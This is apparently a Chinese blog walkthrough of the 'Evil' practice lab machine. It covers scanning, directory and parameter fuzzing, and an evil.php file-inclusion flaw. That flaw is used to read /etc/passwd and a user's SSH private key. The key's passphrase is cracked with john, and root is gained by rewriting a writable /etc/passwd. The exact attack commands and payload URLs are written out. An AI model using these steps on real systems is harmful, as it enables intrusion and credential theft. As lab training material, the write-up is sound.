• Evil靶场


    Evil

    1.主机发现

    • 使用命令探测存活主机,80.139是kali的地址,所以靶机地址就是80.134
    fping -gaq 192.168.80.0/24
    
    • 1

    在这里插入图片描述

    2.端口扫描

    • 开放80,22端口
    nmap -Pn -sV -p- -A 192.168.80.134
    
    • 1

    在这里插入图片描述

    3.信息收集

    • 访问web界面

      在这里插入图片描述

    • 路径扫描

      gobuster dir -u http://192.168.80.134 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
      
      • 1

      在这里插入图片描述

    • 访问robots.txt

      在这里插入图片描述

    • 访问/secret ,发现是空页面

      在这里插入图片描述

    • 继续对/secret进行路径扫描

      gobuster dir -u http://192.168.80.134/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp 
      
      • 1

      在这里插入图片描述

    • 访问/evil.php,依然返回空页面

      在这里插入图片描述

    • 尝试对/evil.php的参数进行爆破,并没有探测出参数信息

      ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:KEY -w value.txt:VAL -u http://192.168.80.134/secret/evil.php?KEY=VAL -fs 0
      
      • 1

      在这里插入图片描述

      在这里插入图片描述

    • 尝试/evil.php是否存在文件包含,目前已知根目录下的robots.txt文件是真实存在的,所以尝试对其再次进行文件包含探测;发现一个command参数

      ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:DIR -u http://192.168.80.134/secret/evil.php?DIR=../robots.txt -fs 0
      
      • 1

      在这里插入图片描述

    • 验证command参数是否真正存在文件包含

      在这里插入图片描述

    4.利用文件包含漏洞

    • 读取/etc/passwd文件

      在这里插入图片描述

    • 使用PHP协议封装读取evil.php源文件

      /secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
      
      • 1

      在这里插入图片描述

    • 对获得的字符串进行base64解码

      在这里插入图片描述

      
          $filename = $_GET['command'];
          include($filename);
      ?>
      
      • 1
      • 2
      • 3
      • 4
    • 尝试写入文件,内容为123的base64编码后的字符串

      /secret/evil.php?command=php://filter/write=convert.base64-decode/resource=glc.php&txt=MTIz
      
      • 1

      在这里插入图片描述

    • 尝试访问刚才写入的文件,发现没有给文件,证明写入失败

      在这里插入图片描述

    5.尝试ssh登录

    • 刚才我们发现没有文件写入权限,那我们就换个思路,还记得我们当时读取的/etc/passwd文件吗,自己研究一下发现了一个mowree用户,尝试对其进行ssh登录

      在这里插入图片描述

    • 我们发现mowree用户允许公钥和密码登录两种方式

      ssh mowree@192.168.80.134 -v
      
      • 1

      在这里插入图片描述

    • 那我们可以利用文件包含漏洞去读取mowree用户的公私钥文件

      • 公钥文件,发现是rsa加密的

        /secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys
        
        • 1

        在这里插入图片描述

      • 私钥文件

        /secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
        
        • 1

        在这里插入图片描述

    • 查看网站源码,将私钥文件的内容复制到本地,并给文件赋予权限,尝试ssh登录,发现需要passphrase(ssh-key 的密语字符串)

      在这里插入图片描述

    • 对passphrase进行爆破

      • 将id_rsa文件转换为john命令能够识别的文件

        ./ssh2john.py ~/id_rsa > ~/glc
        
        • 1

        在这里插入图片描述

      • 使用john进行爆破,爆破成功,密码为unicorn

        john glc --wordlist=/usr/share/wordlists/rockyou.txt 
        
        • 1

        在这里插入图片描述

    6.获得shell

    • ssh登录mowree用户

      在这里插入图片描述

    • 拿到第一个flag

      在这里插入图片描述

    7.提权

    • 查看内核版本和发行版本

      在这里插入图片描述

    • 内核版本4.19.0-17;发行版本 Debian10

    • 使用msf提权发现都提权失败了,有兴趣的可以自己试一下

    • 换个思路,查看存在写权限的文件

      find / -writable 2>/dev/null | grep -v proc
      
      • 1

      在这里插入图片描述

    • 发现对/etc/passwd文件具有写权限,那么问题就变得简单了,直接修改文件中root账号的密码就可以啦

    • 生成一个加密密码,密码为root

      openssl passwd -1
      
      • 1

      在这里插入图片描述

      在这里插入图片描述

    • 尝试用修改的密码登录root账号,成功提权,获得第二个flag

      在这里插入图片描述

  • 相关阅读:
    17 HAP 覆盖特性与链路损耗特性分析
    R语言survival包clogit函数构建条件logistic回归模型、使用summary函数查看模型汇总统计信息
    PHP微服务 hyperf+nacos使用
    满足新能源三电系统气密和电性能测试的E10系列多功能电连接器
    通过注册表自动抓dump文件
    数学建模学习(88):飞蛾扑火算法(WFO)寻优
    vue3移动端项目构建,vue3+vant+vite+axios+pinia+sass
    12.Babel
    UE4 C++:Actor与Component的创建、销毁
    617以及assura使用总结
  • 原文地址:https://blog.csdn.net/weixin_46029520/article/details/134434635